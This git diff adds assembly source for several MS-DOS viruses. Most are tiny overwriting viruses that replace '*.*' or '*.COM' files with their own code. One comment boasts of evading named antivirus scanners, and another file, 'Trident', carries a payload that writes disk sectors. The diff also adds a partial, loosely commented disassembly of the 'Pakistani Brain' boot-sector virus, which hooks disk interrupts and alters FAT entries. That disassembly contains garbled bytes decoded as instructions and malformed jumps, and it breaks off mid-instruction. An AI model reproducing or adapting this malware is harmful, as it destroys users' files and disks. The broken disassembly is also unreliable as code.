diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-27.asm b/MSDOS/Virus.MSDOS.Unknown.ow-27.asm new file mode 100644 index 00000000..903cb65b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-27.asm @@ -0,0 +1,13 @@ +Main: Mov Ah,4eh + Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Mov Dx,9eh +On2: Int 21h + Mov Dl,Length +FileSpec Db '*.*',0 + Mov Bh,40h + Xchg Cx,Dx + Xchg Ax,Bx + Jmp On2 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-27b.asm b/MSDOS/Virus.MSDOS.Unknown.ow-27b.asm new file mode 100644 index 00000000..6861654b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-27b.asm @@ -0,0 +1,12 @@ +Lea Dx,Fs +Mov Ah,78 +Int 33 +Mov Dx,9eh +Mov Ah,61 +o1: Int 33 +Xchg Ax,Bx +Mov Dl,27 +FS Db '*.*',0 +Xchg Cx,Dx +Mov Ah,64 +Jmp o1 diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-28.asm b/MSDOS/Virus.MSDOS.Unknown.ow-28.asm new file mode 100644 index 00000000..7f088fd0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-28.asm @@ -0,0 +1,13 @@ +Main: Lea Dx,FileSpec + Mov Ah,4eh + Int 21h + Mov Dx,9eh + Mov Ah,3ch + Int 21h + Lea Dx,Main + Mov Bh,40h + Mov Cl,Length + Xchg Ax,Bx + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-28b.asm b/MSDOS/Virus.MSDOS.Unknown.ow-28b.asm new file mode 100644 index 00000000..7ca03b7b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-28b.asm @@ -0,0 +1,13 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-30.asm b/MSDOS/Virus.MSDOS.Unknown.ow-30.asm new file mode 100644 index 00000000..276c1ea9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-30.asm @@ -0,0 +1,14 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +On1: Ret +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-37.asm b/MSDOS/Virus.MSDOS.Unknown.ow-37.asm new file mode 100644 index 00000000..139eb02d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-37.asm @@ -0,0 +1,17 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ah,3dh + inc ax + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h + Mov Ah,4fh +On1: Jmp On2 +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-42.asm b/MSDOS/Virus.MSDOS.Unknown.ow-42.asm new file mode 100644 index 00000000..2d4fb966 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-42.asm @@ -0,0 +1,20 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc Ende + Mov Ax,3d01h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Length + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 +Ende: Ret +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-42b.asm b/MSDOS/Virus.MSDOS.Unknown.ow-42b.asm new file mode 100644 index 00000000..b4975d27 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-42b.asm @@ -0,0 +1,19 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov bh,40h + Mov Cl,Length + Lea Dx,Main + Xchg Ax,Bx + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On2 +On1: Ret +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow-64.asm b/MSDOS/Virus.MSDOS.Unknown.ow-64.asm new file mode 100644 index 00000000..95acd68f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow-64.asm @@ -0,0 +1,28 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc On2 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Ah + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 + Db 'Trident' +On2: Mov Ah,2ch + Int 21h + Cmp Dl,10 + Ja Ende + Mov Al,2 + Xor Dx,Dx + Int 25h +Ende: Ret +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow10.asm b/MSDOS/Virus.MSDOS.Unknown.ow10.asm new file mode 100644 index 00000000..121a51c1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow10.asm @@ -0,0 +1,20 @@ +; +; Mini-25 +; +; Overwrites the first file in a directory + + +FNAM Equ 09eh + + Db '*.*',0 +Main: Mov Ah,4eh + Mov Dx,Cx + Int 21h + Mov Ah,3ch + Lea Dx,FNAM +On2: Int 21h + Mov Bh,40h + Xchg Cx,Dx + Xchg Ax,Bx + Jmp On2 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow8.asm b/MSDOS/Virus.MSDOS.Unknown.ow8.asm new file mode 100644 index 00000000..60b6631e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow8.asm @@ -0,0 +1,20 @@ +; +; Mini-25 +; +; Overwrites the first file in a directory + + +FNAM Equ 09eh + +Main: Mov Ah,4eh + Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Lea Dx,FNAM +On2: Int 21h +FileSpec Db '*.*',0 + Mov Bh,40h + Xchg Cx,Dx + Xchg Ax,Bx + Jmp On2 +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.ow9.asm b/MSDOS/Virus.MSDOS.Unknown.ow9.asm new file mode 100644 index 00000000..53d37cb4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ow9.asm @@ -0,0 +1,26 @@ +; +; Micro-31 +; +; Infects as many files as there are handles aveable. It creates 158 byte +; file containing a replicating copy of the virus. The effective program +; length however is only 31 bytes. It can't be detected by Scan 99, TbScan +; and Gobbler II. +; + +FNAM Equ 09eh + +Main: Mov Ah,4eh +Seek: Lea Dx,FileSpec + Xor Cx,Cx + Int 21h +Do: Mov Ah,3ch + Lea Dx,FNAM +On2: Int 21h +FileSpec Db '*.*',0 + Xchg Dx,Cx + Mov Bh,40h + Xchg Ax,Bx + Int 21h + Mov Ah,4fh + Jmp Seek +Length Equ $-Main diff --git a/MSDOS/Virus.MSDOS.Unknown.pakbrain.asm b/MSDOS/Virus.MSDOS.Unknown.pakbrain.asm new file mode 100644 index 00000000..fa1274d6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pakbrain.asm @@ -0,0 +1,1102 @@ +The "Pakistani Brain" + + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CODE SEGMENT PUBLIC 'CODE' ; + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING + ; + ORG 0 ; + ; +BPB EQU 3+8 ;JMP + OEM_NAME + ; +;-----------------------------------------------------------------------; +; COPY OF BOOT SECTOR ; +;-----------------------------------------------------------------------; + ; + DB 6 DUP (?) ; + ; +L0006 DB ? ;HEAD +L0007 DB ? ;SECTOR +L0008 DB ? ;TRACK + ; +L0009 DB ? ;HEAD +L000A DB ? ;SECTOR +L000B DB ? ;TRACK + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ; + ORG 512 ; + ; +;-----------------------------------------------------------------------; +; (BOOT SECTOR TYPE FORMAT!) ; +;-----------------------------------------------------------------------; +CONTINUE: JMP CONTINUE_2 ;023C + ; +L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION + ; + DW 512 ;BYTES PER SECTOR + DB 2 ;SECTORS PER ALLOCATION UNIT + DW 1 ;RESERVED SECTORS +L0210 DB 2 ;NUMBER OF FATS + DW 112 ;NUMBER OF ROOT DIR ENTRIES + DW 2D0H ;SECTORS PER DISK + DB 0FDH ;MEDIA ID + DW 2 ;SECTORS PER FAT + DW 9 ;SECTORS PER TRACK + DW 2 ;NUMBER OF HEADS + DW 0 ;HIDDEN SECTORS + ; +;---------------------------------------; + DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + + DB 2 +DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2 + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +REBOOT: INT 19H ;REBOOT + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE_2: ; + CLI ; + XOR AX,AX ; + MOV ES,AX ;ES=0 + MOV SS,AX ;SS:SP = 0000:7C00 + MOV SP,7C00H ; + MOV DS,AX ; + MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E) + MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F + MOV [7AH],BX ; + ; + MOV DS,BX ;DS = 07C0 + MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E ! + MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 ! + INT 13H ;RESET + JNB C_10 ; + JMP ERROR_2 ;IF ERROR...'BOOT FAILURE' + ; +C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B + MOV CX,[SI] ;CX = BYTES PER SECTOR + SHR CH,1 ;WORDS PER SECTOR + XCHG CH,CL ; + MOV [2BH],CX ;SAVE ;BOOT:002B + MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010 + XOR AH,AH ; + MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016 + ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E + ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C + MOV [24H],AX ;SAVE IT ;BOOT:0024 + MOV BX,7E00H ; + CALL UI ; + ; + MOV BX,ES ;SAVE ES + MOV AX,70H ;ES=0070H + MOV ES,AX ; + MOV AX,32 ;32* + MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+ + MOV CX,[SI] ; + ADD AX,CX ; BYTES/SECTOR + DEC AX ; -1 + DIV CX ; /BYTES/SECTOR + ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT + ; + MOV CL,[2AH] ; + MOV AX,[24H] ; + CALL READ_CLUSTER ;(READ BOOT SECTOR ???) + ; + PUSH ES ; + POP DS ; + JMP 0070H:0000H ;(PASS CONTROL TO ???) + ; +;-----------------------------------------------------------------------; +; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ; +; ON ENTRY: AX = ? +; ES:BX = DTA ; +; CL = ? ; +; DS:SI = BPB ; +; DS:[0021] = ; +;-----------------------------------------------------------------------; +READ_CLUSTER: ;02B3 + PUSH BX ; + PUSH AX ; + ; + MOV AL,CL ; + MUL Byte Ptr [2BH] ; + MOV [29H],AL ; + POP AX ; + MUL Word Ptr [2BH] ; + DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK) + INC DL ; + MOV [28H],DL ; + PUSH DX ; + XOR DX,DX ; + DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS) + MOV [21H],DL ; + MOV [26H],AX ; + POP DX ; +RC_10: MOV CL,[29H] ; + ADD DL,CL ; + MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK) + INC AX ; + CMP DL,AL ; + JBE RC_20 ; + SUB AL,[28H] ; + MOV CL,AL ; +RC_20: MOV AL,CL ; + MOV DX,[26H] ; + MOV CL,6 ; + SHL DH,CL ; + OR DH,[28H] ; + MOV CX,DX ; + XCHG CH,CL ; + MOV DX,[20H] ; + ; + MOV AH,2 ;READ SECTOR + PUSH AX ; + INT 13H ; + POP AX ; + JB ERROR_2 ;IF ERROR...'BOOT FAILURE' + SUB [29H],AL ; + JBE RC_90 ; + CBW ; + MUL Word Ptr [2DH] ; + ADD BX,AX ; + INC Byte Ptr [21H] ; + MOV DL,[21H] ; + CMP DL,[SI+0FH] ; + MOV DL,1 ; + MOV [28H],DL ; + JB RC_10 ; + MOV Byte Ptr [21H],0 ; + INC Word Ptr [26H] ; + JMP RC_10 ; + ; +RC_90: POP BX ; + RET ; + ; +;-----------------------------------------------------------------------; +; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ; +;-----------------------------------------------------------------------; +ERROR_1: ;0339 + MOV SI,01B3H ;'Non-System disk' + JMP E_10 ; + ; +;---------------------------------------; +ERROR_2: ; + MOV SI,01C5H ;'BOOT failure' +E_10: CALL DISPLAY_STRING ; + ; + MOV SI,01D4H ;'Replace and press any key when ready' + CALL DISPLAY_STRING ; + ; + MOV AH,0 ;WAIT FOR A KEY + INT 16H ; +E_20: MOV AH,1 ; THROW IT AWAY AND + INT 16H ; WAIT FOR ANOTHER ONE BUT + JNZ E_20 ; DONT GET IT + JMP REBOOT ; + ; +;-----------------------------------------------------------------------; +; DISPLAY ASCIIZ STRING ; +; ON ENTRY: DS:SI = ASCIIZ STRING ; +;-----------------------------------------------------------------------; +DISPLAY_STRING: ;0357 +DS_00: LODSB ;DISPLAY UNTIL NULL + OR AL,AL ; + JZ DS_90 ; + MOV AH,0EH ; + MOV BX,7 ; + INT 10 ; + JMP DS_00 ; +DS_90: RET ;0365 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +UI: ;0366: + MOV CL,01 ; + CALL READ_CLUSTER ; + ; + PUSH SI ; + MOV DI,BX ; + MOV AX,ES:[BX+1C] ; + XOR DX,DX ; + DIV Word Ptr [SI] ; + INC AL ; + MOV [002A],AL ; + MOV SI,019D ; + MOV CX,000B ; + REPZ ; + CMPSB ; + JNZ ERROR_1 ;'NON SYSTEM DISK' + MOV AX,ES:[BX+3A] ; + MOV [0022],AX ; + MOV DI,BX ; + ADD DI,+20 ; + MOV SI,01A8 ; + MOV CX,000B ; + REPZ ; + CMPSB ; + JNZ ERROR_1 ;'NON SYSTEM DISK' + POP SI ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L039D DB 'IBMBIO COM' + DB 'IBMDOS COM' + DB CR,LF,'Non-System disk',0 + DB CR,LF,'BOOT failure',0 + DB CR,LF,'Replace and press any key when ready',0 + DB 90H,90H,90H,55H,0AAH + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0400: JMP SHORT CONT_A ; + ; + DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONT_A: ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0A5B DB 'IBMBIO COM' + DB 'IBMDOS COM' + DB CR,LF,'Non-System disk',0 + DB CR,LF,'BOOT failure',0 + DB CR,LF,'Replace and press any key when ready',0 + DB 90H,90H,90H,55H,0AAH + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD AL,00 ;0425 0400 + ADD [06C6],CH ;0427 002EC606 + AND AX,1F02 ;042B 25021F + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +REDIRECT_13: ;042E + XOR AX,AX ;GET INT 13 VECTOR + MOV DS,AX ; + MOV AX,[004CH] ; + MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR) + MOV AX,[004EH] ; + MOV [01B6H],AX ; + MOV AX,0276H ;SET INT 13 VECTOR + MOV [004CH],AX ; + MOV AX,CS ; + MOV [004EH],AX ; + ; + MOV CX,0004 ;RETRY = 4 + XOR AX,AX ; + MOV ES,AX ; +L0450: PUSH CX ; + MOV DH,CS:[0006] ;DH = HEAD + MOV DL,00 ;DRIVE A: + MOV CX,CS:[0007] ;CX = TRACK/SECTOR + MOV AX,0201 ;READ 1 SECTOR + MOV BX,7C00 ;ES:BX == DTA = 0000:7C00 + INT 6DH ; + JNB L0470 ; + MOV AH,00 ;RESET + INT 6DH ; + POP CX ;TRY AGAIN + LOOP L0450 ; + INT 18H ;LOAD BASIC + ; +L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?! + ; + NOP ;0475 90 + STI ;0476 FB + CMP AH,02 ;0477 80FC02 + JNZ L0494 ;047A 7518 + CMP DL,02 ;047C 80FA02 + JA L0494 ;047F 7713 + CMP CH,00 ;0481 80FD00 + JNZ L048B ;0484 7505 + CMP DH,00 ;0486 80FE00 + JZ L0497 ;0489 740C +L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502 + JNZ L0494 ;0490 7502 + JMP L0497 ;0492 EB03 +L0494: JMP L053C ;0494 E9A500 +L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200 + MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204 + PUSH AX ;04A3 50 + PUSH BX ;04A4 53 + PUSH CX ;04A5 51 + PUSH DX ;04A6 52 + MOV CS:[0226],DL ;04A7 2E88162602 + MOV CX,0004 ;04AC B90400 + PUSH CX ;04AF 51 + MOV AH,00 ;04B0 B400 + INT 6D ;04B2 CD6D + JB ;04CB ;04B4 7215 + MOV DH,00 ;04B6 B600 + MOV CX,0001 ;04B8 B90100 + MOV BX,06BE ;04BB BBBE06 + PUSH ES ;04BE 06 + MOV AX,CS ;04BF 8CC8 + MOV ES,AX ;04C1 8EC0 + MOV AX,0201 ;04C3 B80102 + INT 6D ;04C6 CD6D + POP ES ;04C8 07 + JNB ;04D1 ;04C9 7306 + POP CX ;04CB 59 + LOOP ;04AF ;04CC E2E1 + JMP ;04FF ;04CE EB2F + NOP ;04D0 90 + POP CX ;04D1 59 + MOV AX,CS:[06C2] ;04D2 2EA1C206 + CMP AX,1234 ;04D6 3D3412 + JNZ ;04E3 ;04D9 7508 + MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201 + JMP ;0503 ;04E1 EB20 + PUSH DS ;04E3 1E + PUSH ES ;04E4 06 + MOV AX,CS ;04E5 8CC8 + MOV DS,AX ;04E7 8ED8 + MOV ES,AX ;04E9 8EC0 + PUSH SI ;04EB 56 + CALL L0804 ;04EC E81503 + JB ;04FA ;04EF 7209 + MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202 + CALL L06B2 ;04F7 E8B801 + POP SI ;04FA 5E + POP ES ;04FB 07 + POP DS ;04FC 1F + JNB ;0503 ;04FD 7304 + MOV AH,00 ;04FF B400 + INT 6D ;0501 CD6D + POP DX ;0503 5A + POP CX ;0504 59 + POP BX ;0505 5B + POP AX ;0506 58 + CMP CX,+01 ;0507 83F901 + JNZ L053C ;050A 7530 + CMP DH,00 ;050C 80FE00 + JNZ L053C ;050F 752B + CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201 + JNZ ;052A ;0517 7511 + MOV CX,CS:[06C5] ;0519 2E8B0EC506 + MOV DX,CS:[06C3] ;051E 2E8B16C306 + MOV DL,CS:[0226] ;0523 2E8A162602 + JMP L053C ;0528 EB12 + CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202 + JNZ L053C ;0530 750A + ; + MOV CX,CS:[0007] ;CX = TRACK/SECTOR + MOV DH,CS:[0006] ;DH = HEAD +L053C: INT 6DH ; + RETF 2 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0550: JMP CONTINUE_3 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0553 DW 3 ; + DB ' (c) 1986 Basit & Amjads (pvt) Ltd' + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE_3: ;0577 + CALL READ_VERIFY ;READ VERIFY + MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS... + CMP AX,0FFFDH ; + JE L0586 ;...CONTINUE + MOV AL,3 ;ELSE RETURN ??? ERROR + STC ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0586: ;0586 + MOV CX,0037 ; + MOV Word Ptr [0353],0000 ; + CALL ;05F8 ;058F E86600 + CMP AX,0000 ;0592 3D0000 + JNZ ;05A5 ;0595 750E + INC Word Ptr [0353] ;0597 FF065303 + CMP Word Ptr [0353],+03 ;059B 833E530303 + JNZ ;05AB ;05A0 7509 + JMP ;05B6 ;05A2 EB12 + NOP ;05A4 90 + MOV Word Ptr [0353],0000 ;05A5 C70653030000 + INC CX ;05AB 41 + CMP CX,0163 ;05AC 81F96301 + JNZ ;058F ;05B0 75DD + MOV AL,01 ;05B2 B001 + STC ;05B4 F9 + RET ;05B5 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV DL,03 ;05B6 B203 + CALL ;05CB ;05B8 E81000 + DEC CX ;05BB 49 + DEC DL ;05BC FECA + JNZ ;05B8 ;05BE 75F8 + INC CX ;05C0 41 + CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD + CALL ;062D ;05C4 E86600 + MOV AL,00 ;05C7 B000 + CLC ;05C9 F8 + RET ;05CA C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + PUSH CX ;05CB 51 + PUSH DX ;05CC 52 + MOV SI,06BE ;05CD BEBE06 + MOV AL,CL ;05D0 8AC1 + SHR AL,1 ;05D2 D0E8 + JB ;05E4 ;05D4 720E + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;05D9 8B00 + AND AX,F000 ;05DB 2500F0 + OR AX,0FF7 ;05DE 0DF70F + JMP ;05EF ;05E1 EB0C + NOP ;05E3 90 + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;05E7 8B00 + AND AX,000F ;05E9 250F00 + OR AX,FF70 ;05EC 0D70FF + MOV [BX+SI],AX ;05EF 8900 + MOV [BX+SI+0400],AX ;05F1 89800004 + POP DX ;05F5 5A + POP CX ;05F6 59 + RET ;05F7 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + PUSH CX ;05F8 51 + MOV SI,06BE ;05F9 BEBE06 + MOV AL,CL ;05FC 8AC1 + SHR AL,1 ;05FE D0E8 + JB L060D ;0600 720B + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;0605 8B00 + AND AX,0FFF ;0607 25FF0F + JMP L0619 ;060A EB0D + ; +L060D: CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;0610 8B00 + AND AX,FFF0 ;0612 25F0FF + MOV CL,04 ;0615 B104 + SHR AX,CL ;0617 D3E8 +L0619: POP CX ;0619 59 + RET ;061A C3 + ; +;-----------------------------------------------------------------------; +; BX = (CX*3)/2 ; +;-----------------------------------------------------------------------; +FUNCTION_1: ;061B + PUSH DX ; + MOV AX,3 ; + MUL CX ; + SHR AX,1 ; + MOV BX,AX ; + POP DX ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +READ_VERIFY: ;0627 + MOV AH,2 ; + CALL VERIFY_SECTORS ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +WRITE_VERIFY: ;062D + MOV AH,03 ; + CALL VERIFY_SECTORS ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +VERIFY_SECTORS: ;0633 + MOV CX,4 ;RETRY = 4 +L0636: PUSH CX ; + PUSH AX ; + MOV AH,0 ;REST + INT 6DH ; + POP AX ; + JB L0653 ; + MOV BX,offset L06BEH ; + MOV AL,4 ;4==VERIFY + MOV DH,00 ;HEAD 0 + MOV DL,[0226] ;DRIVE DL + MOV CX,0002 ;TRACK 0/SECTOR 2 + PUSH AX ; + INT 6DH ; + POP AX ; + JNB L065C ;IF ERROR...EXIT +L0653: POP CX ; + LOOP L0636 ;RETRY + POP AX ; + POP AX ; + MOV AL,2 ;BAD ADDRESS MARK ??? + STC ;RETURN ERROR + RET ; + ; +L065C: POP CX ; + RET ; + ; +;-----------------------------------------------------------------------; +; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ; +;-----------------------------------------------------------------------; +CONVERT_1: ;065E + PUSH CX ; + SUB CX,2 ; + SHL CX,1 ;WORD PTR + ADD CX,9*2 ; (SECTORS PER CYLINDER ???) + MOV AX,CX ; + MOV CL,9*2 ; (SECTORS PER CYLINDER ???) + DIV CL ; + MOV DS:[0008],AL ;AL = TRACK + MOV Byte Ptr DS:[0006],0 ;INC. HEAD + INC AH ;INC. SECTOR + CMP AH,9 ;IF TOO BIG... + JBE L0684 ; + SUB AH,9 ;...START AT ZERO + MOV Byte Ptr DS:[0006],1 ;INC. HEAD +L0684: MOV DS:[0007],AH ; + POP CX ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD [BX+SI],AL ;068A 0000 + ADD [BX+SI],AL ;068C 0000 + ADD [BX+SI],AL ;068E 0000 + ADD BP,[SI+00] ;0690 036C00 + ADD AX,[BP+DI] ;0693 0303 + MOV SI,010E ;0695 BE0E01 + ADD [BX+SI],AL ;0698 0000 + ADD AX,SP ;069A 01E0 + FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0 + LAHF ;06A0 9F + LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E + LOOPNZ ;06C7 ;06A5 E020 + SUB [BP+DI+29],AH ;06A7 286329 + AND [BP+SI+72],AL ;06AA 204272 + POPA ;06AD 61 + IMUL BP,[BP+20],E824 ;06AE 696E2024E8 + FILD DWord Ptr [BX+SI] ;06B3 DB00 + JB L06C1 ;06B5 720A + PUSH DI ;06B7 57 + CALL ;06DA ;06B8 E81F00 + POP DI ;06BB 5F + JB L06C1 ;06BC 7203 + CALL WRITE_RBF ;WRITE ROOT BOOT FAT +L06C1: RET ;06C1 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV BX,049B ;06C2 BB9B04 + MOV CX,000B ; +L06C8: MOV AL,[BX] ; + NEG AL ; + MOV [SI],AL ; + INC SI ; + INC BX ; + LOOP L06C8 ; + ; + MOV AL,08 ; + MOV [SI],AL ; + CLC ; + RET ;06D7 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV Byte Ptr [06C7],91 ;06D8 C606C70691 + ADD AL,6C ;06DD 046C + ADD [BP+06FE],BH ;06DF 00BEFE06 + MOV [0493],DX ;06E3 89169304 + MOV AX,[0491] ;06E7 A19104 + SHR AX,1 ;06EA D1E8 + MOV [0497],AX ;06EC A39704 + SHR AX,1 ;06EF D1E8 + MOV [0495],AX ;06F1 A39504 + XCHG AX,CX ;06F4 91 + AND CL,43 ;06F5 80E143 + MOV DI,[0495] ;06F8 8B3E9504 + ADD DI,01E3 ;06FC 81C7E301 + MOV AL,[SI] ;0700 8A04 + CMP AL,00 ;0702 3C00 + JZ ;071B ;0704 7415 + MOV AL,[SI+0B] ;0706 8A440B + AND AL,08 ;0709 2408 + CMP AL,08 ;070B 3C08 + JZ ;071B ;070D 740C + ADD SI,+20 ;070F 83C620 + DEC Word Ptr [0491] ;0712 FF0E9104 + JNZ ;0700 ;0716 75E8 + STC ;0718 F9 + RET ;0719 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +: ;071A + MOV CX,[BP+DI+331D] ; + PUSH DS ;071E 1E + XCHG AX,DI ;071F 97 + ADD AL,89 ;0720 0489 + XCHG AX,DI ;0722 3697 + ADD AL,FA ;0724 04FA + MOV AX,SS ;0726 8CD0 + MOV SS:[0493],AX ;0728 A39304 + MOV [0495],SP ;072B 89269504 + MOV AX,CS ;072F 8CC8 + MOV SS,AX ;0731 8ED0 + MOV SP,[0497] ;0733 8B269704 + ADD SP,+0C ;0737 83C40C + MOV CL,51 ;073A B151 + ADD DX,444C ;073C 81C24C44 + MOV DI,2555 ;0740 BF5525 + MOV CX,0C03 ;0743 B9030C + REPZ ;0746 F3 + CMPSW ;0747 A7 + MOV AX,0B46 ;0748 B8460B + MOV CX,0003 ;074B B90300 + ROL AX,CL ;074E D3C0 + MOV [0497],AX ;0750 A39704 + MOV CX,0005 ;0753 B90500 + MOV DX,0008 ;0756 BA0800 + SUB Word Ptr [0497],5210 ;0759 812E97041052 + PUSH [0497] ;075F FF369704 +L0763: MOV AH,[BX] ;0763 8A27 + INC BX ;0765 43 + MOV DL,AH ;0766 8AD4 + SHL DL,1 ;0768 D0E2 + JB L0763 ;076A 72F7 +L076C: MOV DL,[BX] ;076C 8A17 + INC BX ;076E 43 + MOV AL,DL ;076F 8AC2 + SHL DL,1 ;0771 D0E2 + JB L076C 